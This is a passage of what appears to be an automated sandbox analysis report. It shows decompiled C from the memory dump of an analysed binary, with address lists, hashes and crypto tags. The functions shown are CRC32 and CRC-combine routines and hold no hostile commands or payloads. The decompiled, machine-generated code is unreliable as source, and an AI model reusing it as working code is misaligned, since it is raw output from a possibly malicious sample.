*(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x18) * 4) ^  *(0x413dc8 + (_t158 & 0x000000ff) * 4) ^ _t242[3]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t229 >> 0x18) * 4) ^  *(0x413dc8 + (_t229 & 0x000000ff) * 4) ^ _t242[4]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t163 >> 0x18) * 4) ^  *(0x413dc8 + (_t163 & 0x000000ff) * 4) ^  *_t164;
							_t146 =  &(_t164[1]);
							_t95 =  *(0x4135c8 + (_t234 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (_t234 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t234 >> 0x18) * 4) ^  *(0x413dc8 + (_t234 & 0x000000ff) * 4);
							_t246 = _t246 - 1;
						} while (_t246 != 0);
					}
					if(_t236 >= 4) {
						_t241 = _t236 >> 2;
						do {
							_t98 = _t95 ^  *_t146;
							_t236 = _t236 - 4;
							_t146 = _t146 + 4;
							_t95 =  *(0x4135c8 + (_t98 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (_t98 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t98 >> 0x18) * 4) ^  *(0x413dc8 + (_t98 & 0x000000ff) * 4);
							_t241 = _t241 - 1;
						} while (_t241 != 0);
					}
					if(_t236 != 0) {
						do {
							_t165 =  *_t146 & 0x000000ff;
							_t146 = _t146 + 1;
							_t95 = _t95 >> 0x00000008 ^  *(0x4131c8 + ((_t165 ^ _t95) & 0x000000ff) * 4);
							_t236 = _t236 - 1;
						} while (_t236 != 0);
					}
					return  !_t95;
				} else {
					return _t93;
				}
			}

0x004102d0
0x004102d6
0x004102d9
0x004107b5
0x004107b9
0x004107bc
0x004107c2
0x004107c4
0x004107c9
0x004107cc
0x004107d8
0x004107df
0x004107e0
0x00000000
0x00000000
0x00000000
0x004107e0
0x004107c4
0x004107e2
0x004107e6
0x004107ef
0x004107f2
0x0041082e
0x00410836
0x0041083a
0x00410928
0x0041094e
0x00410967
0x0041096a
0x0041096f
0x004109a3
0x004109ac
0x004109ae
0x004109e3
0x004109ea
0x004109ea
0x004109f1
0x004109f5
0x004109f9
0x00410a00
0x00410a00
0x00410a02
0x00410a0c
0x00410a42
0x00410a44
0x00410a44
0x00410a00
0x00410a4a
0x00410a50
0x00410a50
0x00410a53
0x00410a61
0x00410a68
0x00410a68
0x00410a50
0x00410a6f
0x004102d8
0x004102d8
0x004102d8

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e936c083af54460385bf2ea051fe1ceaecbd2b1360fccd680d527d7d1d40fc92
Instruction ID: 848bb24f37e843774877416362c6b1d88ec077a2887b730543c1b80e193f658d
Opcode Fuzzy Hash: e936c083af54460385bf2ea051fe1ceaecbd2b1360fccd680d527d7d1d40fc92
Instruction Fuzzy Hash: 2F71F5716205426BD724CF1DECD0A763792FBC9711F4AC63CDA4287396C238EA62D794

Uniqueness

Uniqueness Score: -1.00%

Function 004105F0, Relevance: .1, Instructions: 143
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004105F0(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				char _v128;
				char _v256;
				signed int _t52;
				unsigned int _t53;
				unsigned int _t54;
				unsigned int _t55;
				unsigned int _t62;
				signed int* _t66;
				signed int* _t67;
				signed int _t70;
				signed int _t73;
				signed int* _t74;
				signed int* _t75;
				signed int* _t76;
				signed int* _t77;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				signed int _t97;

				_t96 =  &_v256;
				_t94 = _a12;
				_t86 = _a16;
				_t97 = _t86;
				if(_t97 > 0 || _t97 >= 0 && _t94 != 0) {
					_t73 = 1;
					_v256 = 0xedb88320;
					_t52 = 1;
					do {
						 *(_t96 + 8 + _t52 * 4) = _t73;
						_t52 = _t52 + 1;
						_t73 = _t73 + _t73;
					} while (_t52 < 0x20);
					_t89 = 0;
					do {
						_t53 =  *(_t96 + _t89 + 0x10);
						_t74 =  &_v256;
						_t82 = 0;
						if(_t53 != 0) {
							do {
								if((_t53 & 0x00000001) != 0) {
									_t82 = _t82 ^  *_t74;
								}
								_t74 =  &(_t74[1]);
								_t53 = _t53 >> 1;
							} while (_t53 != 0);
						}
						 *(_t96 + _t89 + 0x90) = _t82;
						_t89 = _t89 + 4;
					} while (_t89 < 0x80);
					_t90 = 0;
					do {
						_t54 =  *(_t96 + _t90 + 0x90);
						_t75 =  &_v128;
						_t83 = 0;
						if(_t54 != 0) {
							do {
								if((_t54 & 0x00000001) != 0) {
									_t83 = _t83 ^  *_t75;
								}
								_t75 =  &(_t75[1]);
								_t54 = _t54 >> 1;
							} while (_t54 != 0);
						}
						 *(_t96 + _t90 + 0x10) = _t83;
						_t90 = _t90 + 4;
					} while (_t90 < 0x80);
					_t70 = _a4;
					do {
						_t91 = 0;
						do {
							_t55 =  *(_t96 + _t91 + 0x10);
							_t76 =  &_v256;
							_t84 = 0;
							if(_t55 != 0) {
								do {
									if((_t55 & 0x00000001) != 0) {
										_t84 = _t84 ^  *_t76;
									}
									_t76 =  &(_t76[1]);
									_t55 = _t55 >> 1;
								} while (_t55 != 0);
							}
							 *(_t96 + _t91 + 0x90) = _t84;
							_t91 = _t91 + 4;
						} while (_t91 < 0x80);
						if((_t94 & 0x00000001) != 0) {
							_t81 = 0;
							_t67 =  &_v128;
							if(_t70 != 0) {
								do {
									if((_t70 & 0x00000001) != 0) {
										_t81 = _t81 ^  *_t67;
									}
									_t67 =  &(_t67[1]);
									_t70 = _t70 >> 1;
								} while (_t70 != 0);
							}
							_t70 = _t81;
						}
						_t95 = (_t86 << 0x00000020 | _t94) >> 1;
						_t87 = _t86 >> 1;
						if((_t95 | _t87) != 0) {
							_t93 = 0;
							do {
								_t62 =  *(_t96 + _t93 + 0x90);
								_t77 =  &_v128;
								_t85 = 0;
								if(_t62 != 0) {
									do {
										if((_t62 & 0x00000001) != 0) {
											_t85 = _t85 ^  *_t77;
										}
										_t77 =  &(_t77[1]);
										_t62 = _t62 >> 1;
									} while (_t62 != 0);
								}
								 *(_t96 + _t93 + 0x10) = _t85;
								_t93 = _t93 + 4;
							} while (_t93 < 0x80);
							if((_t95 & 0x00000001) != 0) {
								_t80 = 0;
								_t66 =  &_v256;
								if(_t70 != 0) {
									do {
										if((_t70 & 0x00000001) != 0) {
											_t80 = _t80 ^  *_t66;
										}
										_t66 =  &(_t66[1]);
										_t70 = _t70 >> 1;
									} while (_t70 != 0);
								}
								_t70 = _t80;
							}
							goto L45;
						}
						break;
						L45:
						_t94 = (_t87 << 0x00000020 | _t95) >> 1;
						_t86 = _t87 >> 1;
					} while ((_t94 | _t86) != 0);
					return _t70 ^ _a8;
				} else {
					return _a4;
				}
			}

0x004105f0
0x004105f7
0x004105ff
0x00410606
0x00410608
0x00410620
0x00410625
0x0041062d
0x00410630
0x00410630
0x00410634
0x00410635
0x00410637
0x0041063e
0x00410640
0x00410640
0x00410644
0x00410648
0x0041064c
0x00410650
0x00410652
0x00410654
0x00410654
0x00410656
0x00410659
0x00410659
0x00410650
0x0041065d
0x00410664
0x00410667
0x0041066f
0x00410680
0x00410680
0x00410687
0x0041068e
0x00410692
0x00410694
0x00410696
0x00410698
0x00410698
0x0041069a
0x0041069d
0x0041069d
0x00410694
0x004106a1
0x004106a5
0x004106a8
0x004106b0
0x004106c0
0x004106c0
0x004106c2
0x004106c2
0x004106c6
0x004106ca
0x004106ce
0x004106d0
0x004106d2
0x004106d4
0x004106d4
0x004106d6
0x004106d9
0x004106d9
0x004106d0
0x004106dd
0x004106e4
0x004106e7
0x004106f7
0x004106f9
0x004106fb
0x00410704
0x00410706
0x00410709
0x0041070b
0x0041070b
0x0041070d
0x00410710
0x00410710
0x00410706
0x00410714
0x00410714
0x00410716
0x0041071a
0x00410720
0x00410722
0x00410730
0x00410730
0x00410737
0x0041073e
0x00410742
0x00410744
0x00410746
0x00410748
0x00410748
0x0041074a
0x0041074d
0x0041074d
0x00410744
0x00410751
0x00410755
0x00410758
0x00410768
0x0041076a
0x0041076c
0x00410772
0x00410774
0x00410777
0x00410779
0x00410779
0x0041077b
0x0041077e
0x0041077e
0x00410774
0x00410782
0x00410782
0x00000000
0x00410768
0x00000000
0x00410784
0x00410784
0x00410788
0x0041078c
0x004107a7
0x00410610
0x0041061f
0x0041061f

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
Instruction ID: 19a71de24262d1b0f8e3dc72ae5639476eb557387d8cace6485a3b0ea221bfc4
Opcode Fuzzy Hash: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
Instruction Fuzzy Hash: FD41E3326047054BE728DE28D8547EB7390EBD4304F49093FD9AA973C0C7F9E9D68689

Uniqueness

Uniqueness Score: -1.00%

Function 00410673, Relevance: .1, Instructions: 100
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00410673(signed int __edi, void* __esi, signed int __ebp, char _a16, char _a144, signed int _a276, signed int _a280) {
				unsigned int _t38;
				unsigned int _t39;
				unsigned int _t46;
				signed int* _t50;
				signed int* _t51;
				signed int _t52;
				signed int* _t55;
				signed int* _t56;
				signed int* _t57;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t64;
				signed int _t65;
				signed int _t66;
				void* _t68;
				void* _t69;
				void* _t71;
				signed int _t72;
				signed int _t73;
				void* _t75;

				_t72 = __ebp;
				_t68 = __esi;
				_t65 = __edi;
				do {
					_t38 =  *(_t75 + _t68 + 0x90);
					_t55 =  &_a144;
					_t62 = 0;
					if(_t38 != 0) {
						do {
							if((_t38 & 0x00000001) != 0) {
								_t62 = _t62 ^  *_t55;
							}
							_t55 =  &(_t55[1]);
							_t38 = _t38 >> 1;
						} while (_t38 != 0);
					}
					 *(_t75 + _t68 + 0x10) = _t62;
					_t68 = _t68 + 4;
				} while (_t68 < 0x80);
				_t52 = _a276;
				do {
					_t69 = 0;
					do {
						_t39 =  *(_t75 + _t69 + 0x10);
						_t56 =  &_a16;
						_t63 = 0;
						if(_t39 != 0) {
							do {
								if((_t39 & 0x00000001) != 0) {
									_t63 = _t63 ^  *_t56;
								}
								_t56 =  &(_t56[1]);
								_t39 = _t39 >> 1;
							} while (_t39 != 0);
						}
						 *(_t75 + _t69 + 0x90) = _t63;
						_t69 = _t69 + 4;
					} while (_t69 < 0x80);
					if((_t72 & 0x00000001) != 0) {
						_t61 = 0;
						_t51 =  &_a144;
						if(_t52 != 0) {
							do {
								if((_t52 & 0x00000001) != 0) {
									_t61 = _t61 ^  *_t51;
								}
								_t51 =  &(_t51[1]);
								_t52 = _t52 >> 1;
							} while (_t52 != 0);
						}
						_t52 = _t61;
					}
					_t73 = (_t65 << 0x00000020 | _t72) >> 1;
					_t66 = _t65 >> 1;
					if((_t73 | _t66) != 0) {
						_t71 = 0;
						do {
							_t46 =  *(_t75 + _t71 + 0x90);
							_t57 =  &_a144;
							_t64 = 0;
							if(_t46 != 0) {
								do {
									if((_t46 & 0x00000001) != 0) {
										_t64 = _t64 ^  *_t57;
									}
									_t57 =  &(_t57[1]);
									_t46 = _t46 >> 1;
								} while (_t46 != 0);
							}
							 *(_t75 + _t71 + 0x10) = _t64;
							_t71 = _t71 + 4;
						} while (_t71 < 0x80);
						if((_t73 & 0x00000001) != 0) {
							_t60 = 0;
							_t50 =  &_a16;
							if(_t52 != 0) {
								do {
									if((_t52 & 0x00000001) != 0) {
										_t60 = _t60 ^  *_t50;
									}
									_t50 =  &(_t50[1]);
									_t52 = _t52 >> 1;
								} while (_t52 != 0);
							}
							_t52 = _t60;
						}
						goto L32;
					}
					break;
					L32:
					_t72 = (_t66 << 0x00000020 | _t73) >> 1;
					_t65 = _t66 >> 1;
				} while ((_t72 | _t65) != 0);
				return _t52 ^ _a280;
			}

0x00410673
0x00410673
0x00410673
0x00410680
0x00410680
0x00410687
0x0041068e
0x00410692
0x00410694
0x00410696
0x00410698
0x00410698
0x0041069a
0x0041069d
0x0041069d
0x00410694
0x004106a1
0x004106a5
0x004106a8
0x004106b0
0x004106c0
0x004106c0
0x004106c2
0x004106c2
0x004106c6
0x004106ca
0x004106ce
0x004106d0
0x004106d2
0x004106d4
0x004106d4
0x004106d6
0x004106d9
0x004106d9
0x004106d0
0x004106dd
0x004106e4
0x004106e7
0x004106f7
0x004106f9
0x004106fb
0x00410704
0x00410706
0x00410709
0x0041070b
0x0041070b
0x0041070d
0x00410710
0x00410710
0x00410706
0x00410714
0x00410714
0x00410716
0x0041071a
0x00410720
0x00410722
0x00410730
0x00410730
0x00410737
0x0041073e
0x00410742
0x00410744
0x00410746
0x00410748
0x00410748
0x0041074a
0x0041074d
0x0041074d
0x00410744
0x00410751
0x00410755
0x00410758
0x00410768
0x0041076a
0x0041076c
0x00410772
0x00410774
0x00410777
0x00410779
0x00410779
0x0041077b
0x0041077e
0x0041077e
0x00410774
0x00410782
0x00410782
0x00000000
0x00410768
0x00000000
0x00410784
0x00410784
0x00410788
0x0041078c
0x004107a7

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
Instruction ID: 9888a4de930789566df02ddbbb4f2336257ff221a319327ec1b953e4cac8e425
Opcode Fuzzy Hash: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
Instruction Fuzzy Hash: 2631A6326447054BE728DD28C8947EB7390AB84304F49093FC996973D1C6F9E9D6CA85

Uniqueness

Uniqueness Score: -1.00%

Function 004106B9, Relevance: .1, Instructions: 82
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004106B9(signed int __ebx, signed int __edi, signed int __ebp, char _a16, char _a144, signed int _a280) {
				unsigned int _t30;
				unsigned int _t37;
				signed int* _t41;
				signed int* _t42;
				signed int _t43;
				signed int* _t46;
				signed int* _t47;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed int _t54;
				signed int _t55;
				void* _t57;
				void* _t59;
				signed int _t60;
				signed int _t61;
				void* _t63;

				_t60 = __ebp;
				_t54 = __edi;
				_t43 = __ebx;
				do {
					_t57 = 0;
					do {
						_t30 =  *(_t63 + _t57 + 0x10);
						_t46 =  &_a16;
						_t52 = 0;
						if(_t30 != 0) {
							do {
								if((_t30 & 0x00000001) != 0) {
									_t52 = _t52 ^  *_t46;
								}
								_t46 =  &(_t46[1]);
								_t30 = _t30 >> 1;
							} while (_t30 != 0);
						}
						 *(_t63 + _t57 + 0x90) = _t52;
						_t57 = _t57 + 4;
					} while (_t57 < 0x80);
					if((_t60 & 0x00000001) != 0) {
						_t51 = 0;
						_t42 =  &_a144;
						if(_t43 != 0) {
							do {
								if((_t43 & 0x00000001) != 0) {
									_t51 = _t51 ^  *_t42;
								}
								_t42 =  &(_t42[1]);
								_t43 = _t43 >> 1;
							} while (_t43 != 0);
						}
						_t43 = _t51;
					}
					_t61 = (_t54 << 0x00000020 | _t60) >> 1;
					_t55 = _t54 >> 1;
					if((_t61 | _t55) != 0) {
						_t59 = 0;
						do {
							_t37 =  *(_t63 + _t59 + 0x90);
							_t47 =  &_a144;
							_t53 = 0;
							if(_t37 != 0) {
								do {
									if((_t37 & 0x00000001) != 0) {
										_t53 = _t53 ^  *_t47;
									}
									_t47 =  &(_t47[1]);
									_t37 = _t37 >> 1;
								} while (_t37 != 0);
							}
							 *(_t63 + _t59 + 0x10) = _t53;
							_t59 = _t59 + 4;
						} while (_t59 < 0x80);
						if((_t61 & 0x00000001) != 0) {
							_t50 = 0;
							_t41 =  &_a16;
							if(_t43 != 0) {
								do {
									if((_t43 & 0x00000001) != 0) {
										_t50 = _t50 ^  *_t41;
									}
									_t41 =  &(_t41[1]);
									_t43 = _t43 >> 1;
								} while (_t43 != 0);
							}
							_t43 = _t50;
						}
						goto L26;
					}
					break;
					L26:
					_t60 = (_t55 << 0x00000020 | _t61) >> 1;
					_t54 = _t55 >> 1;
				} while ((_t60 | _t54) != 0);
				return _t43 ^ _a280;
			}

0x004106b9
0x004106b9
0x004106b9
0x004106c0
0x004106c0
0x004106c2
0x004106c2
0x004106c6
0x004106ca
0x004106ce
0x004106d0
0x004106d2
0x004106d4
0x004106d4
0x004106d6
0x004106d9
0x004106d9
0x004106d0
0x004106dd
0x004106e4
0x004106e7
0x004106f7
0x004106f9
0x004106fb
0x00410704
0x00410706
0x00410709
0x0041070b
0x0041070b
0x0041070d
0x00410710
0x00410710
0x00410706
0x00410714
0x00410714
0x00410716
0x0041071a
0x00410720
0x00410722
0x00410730
0x00410730
0x00410737
0x0041073e
0x00410742
0x00410744
0x00410746
0x00410748
0x00410748
0x0041074a
0x0041074d
0x0041074d
0x00410744
0x00410751
0x00410755
0x00410758
0x00410768
0x0041076a
0x0041076c
0x00410772
0x00410774
0x00410777
0x00410779
0x00410779
0x0041077b
0x0041077e
0x0041077e
0x00410774
0x00410782
0x00410782
0x00000000
0x00410768
0x00000000
0x00410784
0x00410784
0x00410788
0x0041078c
0x004107a7

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
Instruction ID: 913bc378ac3619563ee01a4a6d213c0ab1a3543cf495c4be7d0f57f0f97c2174
Opcode Fuzzy Hash: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
